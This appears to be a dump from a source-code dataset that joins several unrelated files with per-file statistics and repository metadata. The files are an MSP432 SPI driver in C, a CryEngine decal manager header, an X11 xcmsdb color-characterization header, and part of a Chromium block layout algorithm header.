SS1_GPIO_PINx); // Idle state GPIO_setAsOutputPin(SS1_GPIO_PORT_Px, SS1_GPIO_PINx); GPIO_setOutputHighOnPin(SS2_GPIO_PORT_Px, SS2_GPIO_PINx); // Idle state GPIO_setAsOutputPin(SS2_GPIO_PORT_Px, SS2_GPIO_PINx); spiMasterConfig.selectClockSource = EUSCI_B_SPI_CLOCKSOURCE_SMCLK, spiMasterConfig.clockSourceFrequency = CS_getSMCLK(); spiMasterConfig.desiredSpiClock = f_Hz_SPIclockSpeed; spiMasterConfig.msbFirst = EUSCI_B_SPI_MSB_FIRST; spiMasterConfig.spiMode = EUSCI_B_SPI_3PIN; /* 3-Wire SPI Mode. When more than 1 slave: UCxSTE can not be used for !SS. Instead GPIOs must be used for this purpose. */ if (cpol) spiMasterConfig.clockPolarity = EUSCI_B_SPI_CLOCKPOLARITY_INACTIVITY_HIGH; // CPOL = 1: Clock idle state is a HIGH level else spiMasterConfig.clockPolarity = EUSCI_B_SPI_CLOCKPOLARITY_INACTIVITY_LOW; // CPOL = 0: Clock idle state is a LOW level if (cpha) spiMasterConfig.clockPhase = EUSCI_B_SPI_PHASE_DATA_CHANGED_ONFIRST_CAPTURED_ON_NEXT; // CPHA = 1: read data on 2nd edge of CLK line (active -> idle transition) else spiMasterConfig.clockPhase = EUSCI_B_SPI_PHASE_DATA_CAPTURED_ONFIRST_CHANGED_ON_NEXT; // CPHA = 0: read data on 1st edge of CLK line (idle -> active transition) /* Configuring SPI in 3wire master mode */ SPI_initMaster(EUSCI_B0_BASE, &spiMasterConfig); /* Enable SPI module */ SPI_enableModule(EUSCI_B0_BASE); /* Enabling interrupts */ SPI_enableInterrupt(EUSCI_B0_BASE, EUSCI_SPI_RECEIVE_INTERRUPT); Interrupt_enableInterrupt(INT_EUSCIB0); } uint32_t spi_getClockSpeed(void) { return spiMasterConfig.desiredSpiClock; } void spi_changeClockSpeed(uint32_t f_Hz_clockSpeed) { Interrupt_disableInterrupt(INT_EUSCIB0); uint16_t UCB0IE_tmp = UCB0IE; // save status of eUSCI_B0 Interrupt Enable Register UCB0IE = 0; // disable RX and TX interrupts if enabled SPI_changeMasterClock(EUSCI_B0_BASE, CS_getSMCLK(), f_Hz_clockSpeed); // Initializes the SPI Master clock. At the end of this function call, SPI module is left enabled. spiMasterConfig.desiredSpiClock = f_Hz_clockSpeed; UCB0IE = UCB0IE_tmp; Interrupt_enableInterrupt(INT_EUSCIB0); } /* Returns true, if there is unread data, * false, if not. */ bool spi_newDataReceived_old(void) { return spi_newdata_received; } bool spi_newDataReceived(uint8_t SSx) { return (spi_newData_received & SSx); } uint8_t spi_read_old_old(void) { spi_newdata_received = false; return RXData_SS1; } void spi_read_old(uint8_t *rx1, uint8_t *rx2) { spi_newdata_received = false; *rx1 = RXData_SS1; *rx2 = RXData_SS2; } uint8_t spi_read(uint8_t SSx) { spi_newData_received &= ~SSx; if (SSx == 1) return RXData_SS1; else if (SSx == 2) return RXData_SS2; else return 0; } void spi_send_arrays(uint8_t *tx_data_SS1, uint8_t *tx_data_SS2) { while (*tx_data_SS1) { spi_tx_buffer1[spi_txBufIndex1] = *tx_data_SS1; INCREMENT_IDX_TX_RING_BUF(spi_txBufIndex1); // spi_dataToSend++; spi_SS1_dataToSend++; tx_data_SS1++; } while (*tx_data_SS2) { spi_tx_buffer2[spi_txBufIndex2] = *tx_data_SS2; INCREMENT_IDX_TX_RING_BUF(spi_txBufIndex2); // spi_dataToSend++; spi_SS2_dataToSend++; tx_data_SS2++; } if (!transmitActive) { spi_tx(); // must be called to start transmission. If transmission is already ongoing, it will be called by ISR() } } void spi_tx1(uint8_t tx_data) { SS1_ACTIVE; while ( !(UCB0IFG & EUSCI_SPI_TRANSMIT_INTERRUPT) ); // wait until SPI transmit flag is set (= check that previous transmission is complete) UCB0TXBUF = tx_data; // put tx data into transmit buffer to initiate transmission last_SPI_transmission = SPI_SLAVE1; } void spi_tx2(uint8_t tx_data) { SS2_ACTIVE; while ( !(UCB0IFG & EUSCI_SPI_TRANSMIT_INTERRUPT) ); // wait until SPI transmit flag is set (= check that previous transmission is complete) UCB0TXBUF = tx_data; // put tx data into transmit buffer to initiate transmission last_SPI_transmission = SPI_SLAVE2; } void spi_tx(void) // called by TX-ISR() uart_send_withInterrupt() { if (spi_SS1_dataToSend && spi_SS2_dataToSend) { if (last_SPI_transmission == SPI_SLAVE2) { spi_SS1_dataToSend--; transmitActive = 1; spi_tx1(spi_tx_buffer1[spi_txSendIndex1]); INCREMENT_IDX_TX_RING_BUF(spi_txSendIndex1); } else if (last_SPI_transmission == SPI_SLAVE1) { spi_SS2_dataToSend--; transmitActive = 2; spi_tx2(spi_tx_buffer2[spi_txSendIndex2]); INCREMENT_IDX_TX_RING_BUF(spi_txSendIndex2); } else { spi_SS1_dataToSend--; transmitActive = 1; spi_tx1(spi_tx_buffer1[spi_txSendIndex1]); INCREMENT_IDX_TX_RING_BUF(spi_txSendIndex1); } } else if (spi_SS1_dataToSend) { spi_SS1_dataToSend--; transmitActive = 1; spi_tx1(spi_tx_buffer1[spi_txSendIndex1]); INCREMENT_IDX_TX_RING_BUF(spi_txSendIndex1); } else if (spi_SS2_dataToSend) { spi_SS2_dataToSend--; transmitActive = 2; spi_tx2(spi_tx_buffer2[spi_txSendIndex2]); INCREMENT_IDX_TX_RING_BUF(spi_txSendIndex2); } else { transmitActive = 0; } } uint8_t spi_send(uint8_t tx_data_SS1, uint8_t tx_data_SS2) { uint8_t UCB0TXBUF_tmp; TXData_SS2 = tx_data_SS2; SS1_ACTIVE; while ( !(UCB0IFG & EUSCI_SPI_TRANSMIT_INTERRUPT) ); // wait until SPI transmit flag is set (= check that previous transmission is complete) UCB0TXBUF = tx_data_SS1; // put tx data into transmit buffer to initiate transmission transmitActive = true; UCB0TXBUF_tmp = UCB0TXBUF; return UCB0TXBUF_tmp; } uint8_t spi_send_SS1(uint8_t tx_data) { uint8_t UCB0TXBUF_tmp; while (transmitActive); // wait until "transmitActive" has been cleared, i.e. no further data is being send at the moment SS1_ACTIVE; while ( !(UCB0IFG & EUSCI_SPI_TRANSMIT_INTERRUPT) ); UCB0TXBUF = tx_data; // Transmit data transmitActive = true; UCB0TXBUF_tmp = UCB0TXBUF; return UCB0TXBUF_tmp; } uint8_t spi_send_SS2(uint8_t tx_data) { uint8_t UCB0TXBUF_tmp; while (transmitActive); // wait until "transmitActive" has been cleared, i.e. no further data is being send at the moment SS2_ACTIVE; while ( !(UCB0IFG & EUSCI_SPI_TRANSMIT_INTERRUPT) ); UCB0TXBUF = tx_data; // Transmit data UCB0TXBUF_tmp = UCB0TXBUF; return UCB0TXBUF_tmp; } //****************************************************************************** // //This is the EUSCI_B0 interrupt vector service routine. // //****************************************************************************** void EUSCIB0_IRQHandler_old(void) { uint32_t status = SPI_getEnabledInterruptStatus(EUSCI_B0_BASE); if (status & EUSCI_SPI_RECEIVE_INTERRUPT) { if (transmitActive) { SS1_IDLE; RXData_SS1 = SPI_receiveData(EUSCI_B0_BASE); transmitActive = 0; spi_send_SS2(TXData_SS2); } else { SS2_IDLE; RXData_SS2 = SPI_receiveData(EUSCI_B0_BASE); spi_newdata_received = true; } } } //****************************************************************************** // // EUSCI_B0 interrupt vector service routine (SPI routine) // //****************************************************************************** void EUSCIB0_IRQHandler(void) { uint32_t status = SPI_getEnabledInterruptStatus(EUSCI_B0_BASE); if (status & EUSCI_SPI_RECEIVE_INTERRUPT) { SS1_IDLE; SS2_IDLE; if (transmitActive == 1) { RXData_SS1 = SPI_receiveData(EUSCI_B0_BASE); // read SPI receive register in order to clear interrupt flag spi_newData_received |= 1; spi_tx(); } else if (transmitActive == 2) { RXData_SS2 = SPI_receiveData(EUSCI_B0_BASE); // read SPI receive register in order to clear interrupt flag spi_newData_received |= 2; spi_tx(); } else { rxDummy = SPI_receiveData(EUSCI_B0_BASE); // read SPI receive register in order to clear interrupt flag } } }
35.796053
172
0.680757
[ "vector" ]
304ad345cd0917971a153e4cab61d9899015b1d7
6,372
h
C
dev/Code/CryEngine/Cry3DEngine/DecalManager.h
jeikabu/lumberyard
07228c605ce16cbf5aaa209a94a3cb9d6c1a4115
[ "AML" ]
1,738
2017-09-21T10:59:12.000Z
2022-03-31T21:05:46.000Z
dev/Code/CryEngine/Cry3DEngine/DecalManager.h
jeikabu/lumberyard
07228c605ce16cbf5aaa209a94a3cb9d6c1a4115
[ "AML" ]
427
2017-09-29T22:54:36.000Z
2022-02-15T19:26:50.000Z
dev/Code/CryEngine/Cry3DEngine/DecalManager.h
jeikabu/lumberyard
07228c605ce16cbf5aaa209a94a3cb9d6c1a4115
[ "AML" ]
671
2017-09-21T08:04:01.000Z
2022-03-29T14:30:07.000Z
/* * All or portions of this file Copyright (c) Amazon.com, Inc. or its affiliates or * its licensors. * * For complete copyright and license terms please see the LICENSE at the root of this * distribution (the "License"). All use of this software is governed by the License, * or, if provided, by the license below or the license accompanying this file. Do not * remove or modify any license notices. This file is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * */ // Original file Copyright Crytek GMBH or its affiliates, used under license. #ifndef CRYINCLUDE_CRY3DENGINE_DECALMANAGER_H #define CRYINCLUDE_CRY3DENGINE_DECALMANAGER_H #pragma once #define DECAL_COUNT (512) // must be pow2 #define ENTITY_DECAL_DIST_FACTOR (200) #define DIST_FADING_FACTOR (6.f) class C3DEngine; enum EDecal_Type { eDecalType_Undefined, eDecalType_OS_OwnersVerticesUsed, eDecalType_WS_Merged, eDecalType_WS_OnTheGround, eDecalType_WS_SimpleQuad, eDecalType_OS_SimpleQuad }; class CDecal : public Cry3DEngineBase { public: // cur state Vec3 m_vPos; Vec3 m_vRight, m_vUp, m_vFront; float m_fSize; Vec3 m_vWSPos; // Decal position (world coordinates) from DecalInfo.vPos float m_fWSSize; // Decal size (world coordinates) from DecalInfo.fSize // life style float m_fLifeTime; // relative time left till decal should die Vec3 m_vAmbient; // ambient color SDecalOwnerInfo m_ownerInfo; EDecal_Type m_eDecalType; float m_fGrowTime, m_fGrowTimeAlpha; // e.g. growing blood pools float m_fLifeBeginTime; // uint8 m_iAssembleSize; // of how many decals has this decal be assembled, 0 if not to assemble uint8 m_sortPrio; uint8 m_bDeferred; // render data _smart_ptr<IRenderMesh> m_pRenderMesh; // only needed for terrain decals, 4 of them because they might cross borders float m_arrBigDecalRMCustomData[16]; // only needed if one of m_arrBigDecalRMs[]!=0, most likely we can reduce to [12] _smart_ptr< IMaterial > m_pMaterial; uint32 m_nGroupId; // used for multi-component decals #ifdef _DEBUG char m_decalOwnerEntityClassName[256]; char m_decalOwnerName[256]; EERType m_decalOwnerType; #endif CDecal() : m_vPos(0, 0, 0) , m_vRight(0, 0, 0) , m_vUp(0, 0, 0) , m_vFront(0, 0, 0) , m_fSize(0) , m_vWSPos(0, 0, 0) , m_fWSSize(0) , m_fLifeTime(0) , m_vAmbient(0, 0, 0) , m_fGrowTime(0) , m_fGrowTimeAlpha(0) , m_fLifeBeginTime(0) , m_sortPrio(0) , m_pMaterial(0) , m_nGroupId(0) , m_iAssembleSize(0) , m_bDeferred(0) { m_eDecalType = eDecalType_Undefined; m_pRenderMesh = NULL; memset(&m_arrBigDecalRMCustomData[0], 0, sizeof(m_arrBigDecalRMCustomData)); #ifdef _DEBUG m_decalOwnerEntityClassName[0] = '\0'; m_decalOwnerName[0] = '\0'; m_decalOwnerType = eERType_NotRenderNode; #endif } ~CDecal() { FreeRenderData(); } void Render(const float fFrameTime, int nAfterWater, float fDistanceFading, float fDiatance, const SRenderingPassInfo& passInfo, const SRendItemSorter& rendItemSorter); int Update(bool& active, const float fFrameTime); void RenderBigDecalOnTerrain(float fAlpha, float fScale, const SRenderingPassInfo& passInfo); void FreeRenderData(); static void ResetStaticData(); bool IsBigDecalUsed() const { return m_pRenderMesh != 0; } Vec3 GetWorldPosition(); void GetMemoryUsage(ICrySizer* pSizer) const { pSizer->AddObject(this, sizeof(*this)); } private: static IGeometry* s_pSphere; }; class CDecalManager : public Cry3DEngineBase { CDecal m_arrDecals[DECAL_COUNT]; bool m_arrbActiveDecals[DECAL_COUNT]; int m_nCurDecal; PodArray<IRenderNode*> m_arrTempUpdatedOwners; public: // --------------------------------------------------------------- CDecalManager(); ~CDecalManager(); bool Spawn(CryEngineDecalInfo Decal, CDecal* pCallerManagedDecal = 0); // once per frame void Update(const float fFrameTime); // maybe multiple times per frame void Render(const SRenderingPassInfo& passInfo); void OnEntityDeleted(IRenderNode* pEnt); void OnRenderMeshDeleted(IRenderMesh* pRenderMesh); // complex decals void FillBigDecalIndices(IRenderMesh* pRenderMesh, Vec3 vPos, float fRadius, Vec3 vProjDir, PodArray<vtx_idx>* plstIndices, _smart_ptr<IMaterial> pMat, AABB& meshBBox, float& texelAreaDensity); _smart_ptr<IRenderMesh> MakeBigDecalRenderMesh(IRenderMesh* pSourceRenderMesh, Vec3 vPos, float fRadius, Vec3 vProjDir, _smart_ptr<IMaterial> pDecalMat, _smart_ptr<IMaterial> pSrcMat); void MoveToEdge(IRenderMesh* pRM, const float fRadius, Vec3& vPos, Vec3& vOutNorm, const Vec3& vTri0, const Vec3& vTri1, const Vec3& vTri2); void GetMemoryUsage(ICrySizer* pSizer) const; void Reset() { memset(m_arrbActiveDecals, 0, sizeof(m_arrbActiveDecals)); m_nCurDecal = 0; } void DeleteDecalsInRange(AABB* pAreaBox, IRenderNode* pEntity); bool AdjustDecalPosition(CryEngineDecalInfo& DecalInfo, bool bMakeFatTest); static bool RayRenderMeshIntersection(IRenderMesh* pRenderMesh, const Vec3& vInPos, const Vec3& vInDir, Vec3& vOutPos, Vec3& vOutNormal, bool bFastTest, float fMaxHitDistance, _smart_ptr<IMaterial> pMat); void Serialize(TSerialize ser); bool SpawnHierarchical(const CryEngineDecalInfo& rootDecalInfo, CDecal* pCallerManagedDecal); private: _smart_ptr<IMaterial> GetMaterialForDecalTexture(const char* pTextureName); }; #endif // CRYINCLUDE_CRY3DENGINE_DECALMANAGER_H
39.825
208
0.642812
[ "render" ]
304b1a3b8adb549664edc99a4f1e784e3073dee5
4,287
h
C
source/programs/xcmsdb/SCCDFile.h
binaryblob01/zfree86
e80ea992d87501b8e3e2d7c07a414591c2e11c70
[ "Xnet", "X11" ]
1
2021-09-08T21:13:25.000Z
2021-09-08T21:13:25.000Z
source/programs/xcmsdb/SCCDFile.h
binaryblob01/zfree86
e80ea992d87501b8e3e2d7c07a414591c2e11c70
[ "Xnet", "X11" ]
null
null
null
source/programs/xcmsdb/SCCDFile.h
binaryblob01/zfree86
e80ea992d87501b8e3e2d7c07a414591c2e11c70
[ "Xnet", "X11" ]
1
2021-01-22T00:19:47.000Z
2021-01-22T00:19:47.000Z
/* * (c) Copyright 1990 Tektronix Inc. * All Rights Reserved * * Permission to use, copy, modify, and distribute this software and its * documentation for any purpose and without fee is hereby granted, * provided that the above copyright notice appear in all copies and that * both that copyright notice and this permission notice appear in * supporting documentation, and that the name of Tektronix not be used * in advertising or publicity pertaining to distribution of the software * without specific, written prior permission. * * Tektronix disclaims all warranties with regard to this software, including * all implied warranties of merchantability and fitness, in no event shall * Tektronix be liable for any special, indirect or consequential damages or * any damages whatsoever resulting from loss of use, data or profits, * whether in an action of contract, negligence or other tortious action, * arising out of or in connection with the use or performance of this * software. * * * NAME * SCCDFile.h * * DESCRIPTION * Include file for TekCMS Color Extension when using the * X Device Color Characterization Convention (XDCCC). * */ /* $XFree86: xc/programs/xcmsdb/SCCDFile.h,v 1.5 2006/01/09 15:01:01 dawes Exp $ */ #ifndef SCCDFILE_H #define SCCDFILE_H #include <X11/Xutil.h> #include <X11/Xcms.h> /* * DEFINES */ #define XDCCC_NUMBER 0x8000000L /* 2**27 per ICCCM */ #define XDCCC_MATRIX_ATOM_NAME "XDCCC_LINEAR_RGB_MATRICES" #define XDCCC_CORRECT_ATOM_NAME "XDCCC_LINEAR_RGB_CORRECTION" #define READABLE_SD_SUFFIX ".txt" #define TXT_FORMAT_VERSION "1.1" #define DATA_DELIMS " \t\n" /* space, tab, newline */ #define SC_BEGIN_KEYWORD "SCREENDATA_BEGIN" #define SC_END_KEYWORD "SCREENDATA_END" #define COMMENT_KEYWORD "COMMENT" #define NAME_KEYWORD "NAME" #define MODEL_KEYWORD "MODEL" #define PART_NUMBER_KEYWORD "PART_NUMBER" #define SERIAL_NUMBER_KEYWORD "SERIAL_NUMBER" #define REVISION_KEYWORD "REVISION" #define SCREEN_CLASS_KEYWORD "SCREEN_CLASS" #define COLORIMETRIC_BEGIN_KEYWORD "COLORIMETRIC_BEGIN" #define COLORIMETRIC_END_KEYWORD "COLORIMETRIC_END" #define XYZTORGBMAT_BEGIN_KEYWORD "XYZtoRGB_MATRIX_BEGIN" #define XYZTORGBMAT_END_KEYWORD "XYZtoRGB_MATRIX_END" #define RGBTOXYZMAT_BEGIN_KEYWORD "RGBtoXYZ_MATRIX_BEGIN" #define RGBTOXYZMAT_END_KEYWORD "RGBtoXYZ_MATRIX_END" #define IPROFILE_BEGIN_KEYWORD "INTENSITY_PROFILE_BEGIN" #define IPROFILE_END_KEYWORD "INTENSITY_PROFILE_END" #define ITBL_BEGIN_KEYWORD "INTENSITY_TBL_BEGIN" #define ITBL_END_KEYWORD "INTENSITY_TBL_END" #define WHITEPT_XYZ_BEGIN_KEYWORD "WHITEPT_XYZ_BEGIN" #define WHITEPT_XYZ_END_KEYWORD "WHITEPT_XYZ_END" #define VIDEO_RGB_KEYWORD "VIDEO_RGB" #ifdef GRAY #define VIDEO_GRAY_KEYWORD "VIDEO_GRAY" #endif #define DATA -1 #define SC_BEGIN 1 #define SC_END 2 #define COMMENT 3 #define NAME 4 #define MODEL 5 #define PART_NUMBER 6 #define SERIAL_NUMBER 7 #define REVISION 8 #define SCREEN_CLASS 9 #define COLORIMETRIC_BEGIN 10 #define COLORIMETRIC_END 11 #define XYZTORGBMAT_BEGIN 12 #define XYZTORGBMAT_END 13 #define RGBTOXYZMAT_BEGIN 14 #define RGBTOXYZMAT_END 15 #define IPROFILE_BEGIN 16 #define IPROFILE_END 17 #define ITBL_BEGIN 18 #define ITBL_END 19 #define WHITEPT_XYZ_BEGIN 20 #define WHITEPT_XYZ_END 21 #define CORR_TYPE_NONE -1 #define CORR_TYPE_0 0 #define CORR_TYPE_1 1 #define VIDEO_RGB 0 #ifdef GRAY #define VIDEO_GRAY 1 #endif /* * Intensity Record (i.e., value / intensity tuple) */ typedef struct _IntensityRec { unsigned short value; XcmsFloat intensity; } IntensityRec; /* * Intensity Table */ typedef struct _IntensityTbl { IntensityRec *pBase; unsigned int nEntries; } IntensityTbl; typedef struct _XDCCC_Matrix { XcmsFloat XYZtoRGBmatrix[3][3]; XcmsFloat RGBtoXYZmatrix[3][3]; } XDCCC_Matrix; typedef struct _XDCCC_Correction { XVisualInfo visual_info; long visual_info_mask; int tableType; int nTables; IntensityTbl* pRedTbl; IntensityTbl* pGreenTbl; IntensityTbl* pBlueTbl; struct _XDCCC_Correction* next; } XDCCC_Correction; extern int LoadSCCData(Display *pDpy, int screenNumber, char *filename, int targetFormat); #endif /* SCCDFILE_H */
29.565517
83
0.767436
[ "model" ]
304ca521d327aac00082a50137a074658864bcf2
17,805
h
C
third_party/blink/renderer/core/layout/ng/ng_block_layout_algorithm.h
mghgroup/Glide-Browser
6a4c1eaa6632ec55014fee87781c6bbbb92a2af5
[ "BSD-3-Clause-No-Nuclear-License-2014", "BSD-3-Clause" ]
null
null
null
third_party/blink/renderer/core/layout/ng/ng_block_layout_algorithm.h
mghgroup/Glide-Browser
6a4c1eaa6632ec55014fee87781c6bbbb92a2af5
[ "BSD-3-Clause-No-Nuclear-License-2014", "BSD-3-Clause" ]
null
null
null
third_party/blink/renderer/core/layout/ng/ng_block_layout_algorithm.h
mghgroup/Glide-Browser
6a4c1eaa6632ec55014fee87781c6bbbb92a2af5
[ "BSD-3-Clause-No-Nuclear-License-2014", "BSD-3-Clause" ]
2
2021-01-05T23:43:46.000Z
2021-01-07T23:36:34.000Z
// Copyright 2016 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #ifndef THIRD_PARTY_BLINK_RENDERER_CORE_LAYOUT_NG_NG_BLOCK_LAYOUT_ALGORITHM_H_ #define THIRD_PARTY_BLINK_RENDERER_CORE_LAYOUT_NG_NG_BLOCK_LAYOUT_ALGORITHM_H_ #include "base/memory/scoped_refptr.h" #include "base/optional.h" #include "third_party/blink/renderer/core/core_export.h" #include "third_party/blink/renderer/core/layout/ng/exclusions/ng_exclusion_space.h" #include "third_party/blink/renderer/core/layout/ng/geometry/ng_margin_strut.h" #include "third_party/blink/renderer/core/layout/ng/inline/ng_inline_child_layout_context.h" #include "third_party/blink/renderer/core/layout/ng/ng_block_break_token.h" #include "third_party/blink/renderer/core/layout/ng/ng_block_node.h" #include "third_party/blink/renderer/core/layout/ng/ng_box_fragment_builder.h" #include "third_party/blink/renderer/core/layout/ng/ng_floats_utils.h" #include "third_party/blink/renderer/core/layout/ng/ng_layout_algorithm.h" #include "third_party/blink/renderer/core/layout/ng/ng_layout_result.h" #include "third_party/blink/renderer/core/layout/ng/ng_unpositioned_float.h" #include "third_party/blink/renderer/platform/geometry/layout_unit.h" namespace blink { enum class NGBreakStatus; class NGConstraintSpace; class NGEarlyBreak; class NGFragment; // This struct is used for communicating to a child the position of the previous // inflow child. This will be used to calculate the position of the next child. struct NGPreviousInflowPosition { LayoutUnit logical_block_offset; NGMarginStrut margin_strut; // > 0: Block-end annotation space of the previous line // < 0: Block-end annotation overflow of the previous line LayoutUnit block_end_annotation_space; bool self_collapsing_child_had_clearance; }; // This strut holds information for the current inflow child. The data is not // useful outside of handling this single inflow child. struct NGInflowChildData { NGBfcOffset bfc_offset_estimate; NGMarginStrut margin_strut; NGBoxStrut margins; bool margins_fully_resolved; bool is_resuming_after_break; }; // A class for general block layout (e.g. a <div> with no special style). // Lays out the children in sequence. class CORE_EXPORT NGBlockLayoutAlgorithm : public NGLayoutAlgorithm<NGBlockNode, NGBoxFragmentBuilder, NGBlockBreakToken> { public: // Default constructor. NGBlockLayoutAlgorithm(const NGLayoutAlgorithmParams& params); ~NGBlockLayoutAlgorithm() override; void SetBoxType(NGPhysicalFragment::NGBoxType type); MinMaxSizesResult ComputeMinMaxSizes(const MinMaxSizesInput&) const override; scoped_refptr<const NGLayoutResult> Layout() override; private: NOINLINE scoped_refptr<const NGLayoutResult> LayoutWithInlineChildLayoutContext(const NGLayoutInputNode& first_child); NOINLINE scoped_refptr<const NGLayoutResult> LayoutWithItemsBuilder( const NGInlineNode& first_child, NGInlineChildLayoutContext* context); // Lay out again, this time with a predefined good breakpoint that we // discovered in the first pass. This happens when we run out of space in a // fragmentainer at an less-than-ideal location, due to breaking restrictions, // such as orphans, widows, break-before:avoid or break-after:avoid. NOINLINE scoped_refptr<const NGLayoutResult> RelayoutAndBreakEarlier( const NGEarlyBreak&); NOINLINE scoped_refptr<const NGLayoutResult> RelayoutIgnoringLineClamp(); inline scoped_refptr<const NGLayoutResult> Layout( NGInlineChildLayoutContext* inline_child_layout_context); scoped_refptr<const NGLayoutResult> FinishLayout(NGPreviousInflowPosition*, NGInlineChildLayoutContext*); // Return the BFC block offset of this block. LayoutUnit BfcBlockOffset() const { // If we have resolved our BFC block offset, use that. if (container_builder_.BfcBlockOffset()) return *container_builder_.BfcBlockOffset(); // Otherwise fall back to the BFC block offset assigned by the parent // algorithm. return ConstraintSpace().BfcOffset().block_offset; } // Return the BFC block offset of the next block-start border edge (for some // child) we'd get if we commit pending margins. LayoutUnit NextBorderEdge( const NGPreviousInflowPosition& previous_inflow_position) const { return BfcBlockOffset() + previous_inflow_position.logical_block_offset + previous_inflow_position.margin_strut.Sum(); } NGBoxStrut CalculateMargins(NGLayoutInputNode child, bool is_new_fc, bool* margins_fully_resolved); // Creates a new constraint space for the current child. NGConstraintSpace CreateConstraintSpaceForChild( const NGLayoutInputNode child, const NGInflowChildData& child_data, const LogicalSize child_available_size, bool is_new_fc, const base::Optional<LayoutUnit> bfc_block_offset = base::nullopt, bool has_clearance_past_adjoining_floats = false, LayoutUnit block_start_annotation_space = LayoutUnit()); // @return Estimated BFC block offset for the "to be layout" child. NGInflowChildData ComputeChildData(const NGPreviousInflowPosition&, NGLayoutInputNode, const NGBreakToken* child_break_token, bool is_new_fc); NGPreviousInflowPosition ComputeInflowPosition( const NGPreviousInflowPosition&, const NGLayoutInputNode child, const NGInflowChildData&, const base::Optional<LayoutUnit>& child_bfc_block_offset, const LogicalOffset&, const NGLayoutResult&, const NGFragment&, bool self_collapsing_child_had_clearance); // Position an self-collapsing child using the parent BFC block-offset. // The fragment doesn't know its offset, but we can still calculate its BFC // position because the parent fragment's BFC is known. // Example: // BFC Offset is known here because of the padding. // <div style="padding: 1px"> // <div id="zero" style="margin: 1px"></div> LayoutUnit PositionSelfCollapsingChildWithParentBfc( const NGLayoutInputNode& child, const NGConstraintSpace& child_space, const NGInflowChildData& child_data, const NGLayoutResult&) const; // Try to reuse part of cached fragments. When reusing is possible, this // function adds part of cached fragments to |container_builder_|, update // |break_token_| to continue layout from the last reused fragment, and // returns |true|. Otherwise returns |false|. bool TryReuseFragmentsFromCache( NGInlineNode child, NGPreviousInflowPosition*, scoped_refptr<const NGInlineBreakToken>* inline_break_token_out); void HandleOutOfFlowPositioned(const NGPreviousInflowPosition&, NGBlockNode); void HandleFloat(const NGPreviousInflowPosition&, NGBlockNode, const NGBlockBreakToken*); // This uses the NGLayoutOpporunityIterator to position the fragment. // // An element that establishes a new formatting context must not overlap the // margin box of any floats within the current BFC. // // Example: // <div id="container"> // <div id="float"></div> // <div id="new-fc" style="margin-top: 20px;"></div> // </div> // 1) If #new-fc is small enough to fit the available space right from #float // then it will be placed there and we collapse its margin. // 2) If #new-fc is too big then we need to clear its position and place it // below #float ignoring its vertical margin. // // Returns false if we need to abort layout, because a previously unknown BFC // block offset has now been resolved. NGLayoutResult::EStatus HandleNewFormattingContext( NGLayoutInputNode child, const NGBreakToken* child_break_token, NGPreviousInflowPosition*); // Performs the actual layout of a new formatting context. This may be called // multiple times from HandleNewFormattingContext. scoped_refptr<const NGLayoutResult> LayoutNewFormattingContext( NGLayoutInputNode child, const NGBreakToken* child_break_token, const NGInflowChildData&, NGBfcOffset origin_offset, bool abort_if_cleared, NGBfcOffset* out_child_bfc_offset); // Handle an in-flow child. // Returns false if we need to abort layout, because a previously unknown BFC // block offset has now been resolved. (Same as HandleNewFormattingContext). NGLayoutResult::EStatus HandleInflow( NGLayoutInputNode child, const NGBreakToken* child_break_token, NGPreviousInflowPosition*, NGInlineChildLayoutContext*, scoped_refptr<const NGInlineBreakToken>* previous_inline_break_token); NGLayoutResult::EStatus FinishInflow( NGLayoutInputNode child, const NGBreakToken* child_break_token, const NGConstraintSpace&, bool has_clearance_past_adjoining_floats, scoped_refptr<const NGLayoutResult>, NGInflowChildData*, NGPreviousInflowPosition*, NGInlineChildLayoutContext*, scoped_refptr<const NGInlineBreakToken>* previous_inline_break_token); // Return the amount of block space available in the current fragmentainer // for the node being laid out by this algorithm. LayoutUnit FragmentainerSpaceAvailable() const; // Consume all remaining fragmentainer space. This happens when we decide to // break before a child. // // https://www.w3.org/TR/css-break-3/#box-splitting void ConsumeRemainingFragmentainerSpace(NGPreviousInflowPosition*); // Final adjustments before fragment creation. We need to prevent the fragment // from crossing fragmentainer boundaries, and rather create a break token if // we're out of space. As part of finalizing we may also discover that we need // to abort layout, because we've run out of space at a less-than-ideal // location. In this case, false will be returned. Otherwise, true will be // returned. bool FinalizeForFragmentation(); // Insert a fragmentainer break before the child if necessary. // See |::blink::BreakBeforeChildIfNeeded()| for more documentation. NGBreakStatus BreakBeforeChildIfNeeded(NGLayoutInputNode child, const NGLayoutResult&, NGPreviousInflowPosition*, LayoutUnit bfc_block_offset, bool has_container_separation); // Look for a better breakpoint (than we already have) between lines (i.e. a // class B breakpoint), and store it. void UpdateEarlyBreakBetweenLines(); // Propagates the baseline from the given |child| if needed. void PropagateBaselineFromChild(const NGPhysicalContainerFragment& child, LayoutUnit block_offset); // If still unresolved, resolve the fragment's BFC block offset. // // This includes applying clearance, so the |bfc_block_offset| passed won't // be the final BFC block-offset, if it wasn't large enough to get past all // relevant floats. The updated BFC block-offset can be read out with // |ContainerBfcBlockOffset()|. // // If the |forced_bfc_block_offset| has a value, it will override the given // |bfc_block_offset|. Typically this comes from the input constraints, when // the current node has clearance past adjoining floats, or has a re-layout // due to a child resolving the BFC block-offset. // // In addition to resolving our BFC block offset, this will also position // pending floats, and update our in-flow layout state. // // Returns false if resolving the BFC block-offset resulted in needing to // abort layout. It will always return true otherwise. If the BFC // block-offset was already resolved, this method does nothing (and returns // true). bool ResolveBfcBlockOffset( NGPreviousInflowPosition*, LayoutUnit bfc_block_offset, const base::Optional<LayoutUnit> forced_bfc_block_offset); // This passes in the |forced_bfc_block_offset| from the input constraints, // which is almost always desired. bool ResolveBfcBlockOffset(NGPreviousInflowPosition* previous_inflow_position, LayoutUnit bfc_block_offset) { return ResolveBfcBlockOffset(previous_inflow_position, bfc_block_offset, ConstraintSpace().ForcedBfcBlockOffset()); } // A very common way to resolve the BFC block offset is to simply commit the // pending margin, so here's a convenience overload for that. bool ResolveBfcBlockOffset( NGPreviousInflowPosition* previous_inflow_position) { return ResolveBfcBlockOffset(previous_inflow_position, NextBorderEdge(*previous_inflow_position)); } // Mark this fragment as modifying its incoming margin-strut if it hasn't // resolved its BFC block-offset yet. void SetSubtreeModifiedMarginStrutIfNeeded(const Length* margin = nullptr) { if (container_builder_.BfcBlockOffset()) return; if (margin && margin->IsZero()) return; 